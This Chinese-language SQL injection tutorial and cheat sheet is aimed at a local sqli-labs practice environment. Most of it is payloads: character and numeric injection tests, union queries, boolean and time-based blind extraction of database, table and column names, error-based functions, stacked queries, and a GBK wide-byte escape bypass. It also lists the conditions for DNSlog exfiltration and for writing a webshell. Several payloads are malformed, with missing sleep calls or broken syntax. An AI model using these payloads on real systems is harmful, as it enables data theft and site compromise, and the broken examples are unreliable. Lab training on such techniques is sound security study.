目录
一、原理
所谓sql注入,就是通过把sql命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令
sql语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
二、sql注入判断方法
1.字符型检测
url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#
当我们把1=1换成1=2时页面报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#
2.数字型检测
直接输入and 1=1查看。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2
3.搜索型检测和xx型检测
这个说白了就是字符型检测的一种,只是需要根据不同的报错信息进行构造闭合。
三、union注入
1.order by和报错注入
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
2.union 联合查询
?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+
四、盲注
1.布尔盲注
(1)查询数据库长度
and (length(database()))>8%23
(2)查询当前数据库名称
and (ascii(substr(database(),1,1)))<120 %23
(3)查询数据库下有多少表
and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23
(4)查询数据库下表名第一位
and (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23
(5)查询数据库下表中有多少个字段
and (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1))>100)%23
(6)判断数据库下表中的第一个字段的长度
and (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23
(7)查询数据库下表里面的第一个字段的第一位是多少
and (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1)))=105 %23
(8)得到字段探测第一条数据
and (ascii(substr((select 字段名 from 表名 limit 0,1)))=68 %23
2.时间盲注
(1)判断是否存在延迟函数
and sleep(5) %23
(2)查询当前数据库的长度,如果正确那么就延迟5秒
and if((length(database()))>7,sleep(5),1) --+
(3)判断当前数据库名第一位是否为a
and if((substr(database(),1)='a'),1) %23
(4)判断当前数据库名第一位ascii是否为100
and if((ascii(substr(database(),1))=100),1) %23
(5)查询表数量
and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,1)%23
(6)查询表名长度
and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),1)%23
(7)截取表名第一位
and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1)))=117,1)%23
(8)查询列字段数量
and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),1)%23
(9)查询列名长度
and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),1)%23
(10)截取列名第一位
and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1)))=105,1)%23
(11)查询id第一条数据的长度
and if((select length((select id from 表名 limit 0,1)))=1,1)%23
(12)获取数据信息内容
and if((select ascii(substr((select id from 表名 limit 0,1)))=49,1)%23
五、报错注入
(1)floor()
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
(2)extractvalue()
select * from 数据库名 where id=1 and (extractvalue(1,(select 表名()),0x7e)));
(3)updatexml()
select * from 数据库名 where id=1 and (updatexml(1,0x7e),1));
(4)geometrycollection()
select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));
(5)multipoint()
select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));
(6)polygon()
select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));
(7)multipolygon()
select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));
(8)linestring()
select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));
(9)multilinestring()
select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));
(10)exp()
select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));
六、堆叠注入
原理:堆叠注入的原理 : MysqL_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句
例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用MysqLi_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是MysqLi_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
七、二次注入
二次注入,可以概括为以下两步:
(1)插入恶意数据
(2)引用恶意数据
八、宽字节注入
(1)原理
当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。
(2)条件
Ⅰ:数据库查询设置为GBK编码
Ⅱ:使用了addslashes(),MysqL_real_escape_string(),MysqL_escape_string()之类的函数
九、dnslog注入
(1)条件
MysqL.ini中secure_file_priv必须为空
●secure_file_priv 为null 不允许导入导出
●secure_file_priv 为/tmp 导入导出只能在/tmp目录下
●secure_file_priv 为空时 则不做限制允许导入导出
十、sql注入写入webshell
(1)条件
Ⅰ:当前sql注入用户必须为DBA权限(--is-dba为true)
Ⅱ:需要知道网站的绝对路径
Ⅲ:My.ini文件中的这项配置secure_file_priv=””为空
十一、总结
总结了很久的资料,希望各位技术友可以读完。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。